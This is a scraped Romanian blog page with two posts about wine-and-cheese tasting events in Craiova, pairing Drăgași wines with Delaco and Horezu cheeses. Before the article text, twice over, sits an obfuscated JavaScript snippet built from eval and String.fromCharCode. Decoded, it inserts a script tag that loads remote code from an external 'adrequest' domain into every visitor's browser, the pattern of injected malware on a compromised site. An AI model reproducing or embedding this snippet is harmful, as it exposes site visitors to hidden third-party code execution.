var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Arhive Drăgași – Mirela Coman - Blogger var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Craiova mea•Dialogul cramelor

Rose din Cabernet Franc acompaniat de Gouda Delaco D’Exceptie

Branzeturi cum se cu...Vin, editia 24
iulie 9, 2018 by Mirela Coman Niciun comentariu

Când povestesc despre vinurile din podgoria Drăgășani întotdeauna îmi vin în minte multe amintiri. Am fost invitați la cramele din zonă, acum cunoaștem producătorii sau pe cei care promovează și vând vinul.

Unii au venit și în Craiova să organizăm împreună Brânzeturi cum se cu…Vin. Acest eveniment este organizat de Asociația Bloggerilor Olteni și DictionarCulinar.ro.

Săptămâna trecută la Casa Ghincea, un restaurant cu mâncare tradițional românească, bloggerii s-au întâlnit să asculte povești noi despre vinurile de la Domeniul Drăgași și brânzeturile de la Delaco.

Branzeturi cum se cu...Vin, editia 24

Branzeturi cum se cu…Vin, editia 24

Domeniul Drăgași se află pe malul Oltului, are 7 hectare de vie și sunt cultivate 4 soiuri: Sauvignon Blanc, Pinot Gris, Merlot, Cabernet Franc. Vă invit ca de obicei să mergeți să descoperiți povestea fiecărui vin la el acasă. Să vizitați crama, să participați la o degustare și să rămâneți la conac până a doua zi.

A fost o seară veselă, am pus întrebări și am aflat lucruri noi. Vinurile au fost prezentate de Mihai Voinea, de la Domeniul Drăgași și Narcis Neagoe, care prezintă de obicei vinurile.

Mihai Voinea ne-a povestit despre felul în care sunt culeși strugurii, atenția care se acordă calității vinului și promovarea lui la târguri și expoziții. Narcis a povestit după aceea despre potențialul vinului de la Domeniul Drăgași.

Mihai Voinea prezinta vinurile de la Domeniul Dragasi

Mihai Voinea prezinta vinurile de la Domeniul Dragasi

Ca de obicei vinurile au fost însoțite de brânzeturile de la Delaco, prietenul nostru. Acum am ajuns la evenimentul 24. Până acum au fost aproximativ 20 de crame invitate, dar pentru brânzeturile care acompaniază vinurile colaborăm numai cu Delaco – Fan Brânză. Sper să sărbătorim împreună 50 de evenimente.

Delaco si Domeniul Dragasi, Craiova

Delaco si Domeniul Dragasi, Craiova

Delaco este unul din cei mai mari jucători de pe piața de brânzeturi din România, parte integrantă a grupului francez Savencia, unul dintre cei mai mari producatori la nivel mondial. Este importator exclusiv al brandurilor renumite: Bergader, Castello, Ile de France, Zott, Arla, Joya sau Milkana.

Asocierile prezentate de Domeniul Drăgași și Delaco au fost:

Sauvignon Blanc 2016 Petit Fume  – Camembert – Ile de France

Petit Cuvee Blanc 2017  – Havarti Delaco D’Exceptie

Rose 2016  – Gouda Delaco D’Exceptie

Cabernet Franc 2015 – Irish Cheddar Delaco D’Exceptie

Alegerea mea din aceasta seară este Rose 2016 ( cupaj Cabernet Franc 80% și Merlot 20%) – Gouda Delaco D’Exceptie.

Este prima dată când am întâlnit Rose din Cabernet Franc. Este unul dintre soiurile populare în Bordeaux, dar în Romania este cunoscut foarte puțin. Proprietarii cramei au dus probe de sol în Franța și li s-a recomandat acest soi.

De obicei acest vin se realizeaza în cupaj. Vinul Rose 2016 este un cupaj Cabernet Franc 80% și Merlot 20%. Cabernet Franc este părintele Cabernetului Sauvignon, este foarte interesant, iar Merlot îi oferă aromele sale fine. Este un vin sec, cu alcool 13,6% și a fost realizat în ediție limitată.

Este fresh și a mai fost ceva care mi-a plăcut foarte mult. Culoarea. Este foarte interesantă și vă invit și pe voi să o descoperiți. Unii au spus că este roz prăfos, iar alții au spus că este roz argintiu. Eu nu am mai întâlnit până acum această culoare. Cuvântul ales pentru vin este tinerețe .

Rose de la Domeniul Dragasi si branzeturile Gouda de la Delaco

Rose de la Domeniul Dragasi si branzeturile Gouda de la Delaco

Asocierea prezentată alături de acest vin a fost Gouda Delaco D’Exceptie. Denumită după oraşul olandez Gouda, este una dintre cele mai faimoase tipuri de brânză din lume. Este produsă din lapte de vacă şi se maturează în camere speciale. Are un gust dulceag și o textură moale și elastică. Cuvântul ales pentru brânză este plăcere . Cuvântul pentru asocierea preferată este: armonie

Vă invit să oferiți prietenilor un cadou special, o sticlă de Rose 2016 ( cupaj Cabernet Franc 80% și Merlot 20%) acompaniată de brânza Gouda Delaco D’Exceptie și vă invit să vizitați crama și conacul de la Domeniul Dragași, să aflați povestea de la cei care dau viață vinului.

Share:
Reading time: 3 min
Craiova mea•Dialogul cramelor

O călătorie cu trei pelerini de la Drăgași

iulie 10, 2016 by Mirela Coman 2 comentarii
Îmi plac vinurile și brânzeturile românești, toată lumea știe. Am inițiat proiecte și am scris articole. Îmi plac oamenii care vin cu bucurie la evenimentele care onorează autenticitatea produselor românești și calitatea lor.
Acum, în miezul verii, a fost organizat de Asociația Bloggerilor Olteni și DictionarCulinar.ro un nou eveniment
Branzeturi cum se… cuVin. Locația aleasă a fost o surpriză, un loc frumos în centrul orașului cu mese amenajate special pentru noi și o servire foarte bună. Este Vintage la Pasaj, nu am mai fost până acum, dar am fost foarte încântată și este potrivită pentru întâlnirile bloggerilor.
Degustare Vinurile Pelerin de la Drăgași și brânzeturile Delaco

Degustare Vinurile Pelerin de la Drăgași și brânzeturile Delaco

Protagoniștii serii au fost 3 vinuri Pelerin de la Crama Drăgași și brânzeturile de la Horezu. Reprezentantul Cramei Drăgași, Răzvan Stanciu ne-a povestit cu pasiune despre conceptul și modul de promovare. Echipa este formată din oameni pasionați care și-au propus realizarea unor vinuri de calitate, prezentarea lor într-un ambalaj care atrage și relații de durată cu clienții.

Crama Drăgași se află în renumita zona viticolă a României, la Drăgășani. Calitatea solului provoacă producatorul să realizeze vinuri care sunt apreciate de consumatori. Promovarea vinurilor Pelerin se realizează prin evenimente și prin turismul viticol.
Podgoria, crama, un salon pentru degustări și o pensiune de lux sunt mijloacele prin care vinul atrage prietenii.
Vinurile propuse au fost Pinot Gris, Sauvignon Blanc, Rose obținut din Pinot Gris, adică doua vinuri albe și un Rose realizate din prima recolta 2015. Vinurile roșii vor fi lansate la toamnă.
Combinația care mi-a plăcut foarte mult a fost Pinot Gris 2015 și brânza proaspătă de la
Horezu. Pinot Gris 2015 este un vin alb demisec cu  12,4% alcool. Mi-a plăcut foarte mult, este un vin proaspăt, dar acid, cu un post gust intens. Un vin bine realizat care atrage.
Sunt puține crame în România care vinifică Pinot Gris și trebuie apreciat acest lucru. Pinot Gris 2015 a fost preferatul meu și cuvântul care i se potrivește este călătorie. Este gândul de a porni în călătorie la Crama Drăgași pentru a-l cunoaște mai bine.

 

Asocierea acestui vin a fost propusă de  Răzvan Stanciu, reprezentantul cramei. A fost propusă o brânză proaspătă realizată în zonă, un produs local care se potrivește foarte bine cu vinul.

Este prima dată când un producător face această propunere la evenimentele noastre de degustare de vinuri, este meritul cramei care caută produse de calitate din zonă pe care să le asocieze cu vinurile sale.
Vinurile Pelerin au fost acompaniate de brânza nematurată Horezu fabricată de Five Continent Horezu. Această companie și-a început activitatea în 2001 și produce brânza fermentata de Horezu (3-6 luni, 6-12 luni, peste 12 luni), produse din lapte de oaie. Materia primă este de înaltă calitate, din zonă, de la oile care cresc pe munte. Este singurul produs românesc premiat la International Cheese Awards-Nantwich 2015, primind calificativul Highly Commended.

Noi am avut la degustarea de vinuri o versiune nematurată, proaspătă, care să se potrivească cu toate cele trei tipuri
de vin. A fost o alegere foarte bună. Au fost trei vinuri și am servit această brânză în trei variante: simplă, cu miere deasupra și cu condimente. Nu cunoșteam acest brand și mi-a plăcut foarte mult. Cuvântul ales este autentic. Am folosit autentic, deoarece cunoaștem proveniența, materia primă este de calitate și promovează tradițiile din zonă.

Am scris multe articole despre brandurile autentice și le promovez cu drag.

Cuvantul potrivit combinației pe care am ales-o, Pinot Gris 2015 și branza de Horezu, este parteneriat. Este un
parteneriat al produselor și un parteneriat al producătorilor. Cred în parteneriatul Cramei Dragași care are vinuri bune și doreste să promoveze calitatea lor și tradiția zonei  prin dezvoltarea unor pachete turistice, cu compania Five Continent care promovează la nivel internațional produsele de calitate obținute la Horezu, produse care promovează tradiția.

Experiența pe care am avut-o la acest eveniment este specială. L-am cunoscut pe Răzvan Stanciu, care ne-a prezentat produsele și ne-a explicat conceptul inovator și de promovare al acestor branduri. Este prima dată când am cunoscut vinuri și brânzeturi din aceeasi zonă.

Activez într-o organizatie non-guvernamentala și am inițiat și implementat în 2014 proiectul E-nature de promovare a Depresiunii Horezu. Am cunoscut locurile, oamenii și tradițiile.

 

 

Ceramica de Horezu este patrimoniu Unesco și am inițiat după aceea un alt proiect de promovare a ceramicii de Horezu în variantă contemporană cu ajutorul renumitului designer Adrian Oianu.

 

Am povestit despre aceste proiecte deoarece după ce am cunoscut produsele prezentate la această degustare cred că poate fi atrasă și ceramica în variantă contemporană alături de vinurile Pelerin și brânza Horezu, cel puțin pentru pensiunea de 5 stele de la Drăgași sau pentru prezentarea brânzeturilor la Festivalurile Internaționale.
 Acest eveniment poate fi începutul unor proiecte interesante.

Share:
Reading time: 4 min

Cauta

Despre mine

Mirela Coman

Mirela Coman

Newsletter

Articole recente

Atracții turistice în zona transfrontalieră România-Bulgaria

Atracții turistice în zona transfrontalieră România-Bulgaria

ianuarie 3, 2019
Și tu poti să zbori, o carte despre conexiuni care contează

Și tu poti să zbori, o carte despre conexiuni care contează

ianuarie 1, 2019

Când te-ai apucat de blogging ?

Când te-ai apucat de blogging? Care e povestea ta?

Când te-ai apucat de blogging? Care e povestea ta?

decembrie 16, 2018
Busuioacă de Bohotin și Gouda Delaco D’Excepție-două branduri renumite

Busuioacă de Bohotin și Gouda Delaco D’Excepție-două branduri renumite

decembrie 13, 2018

Categorii

Social media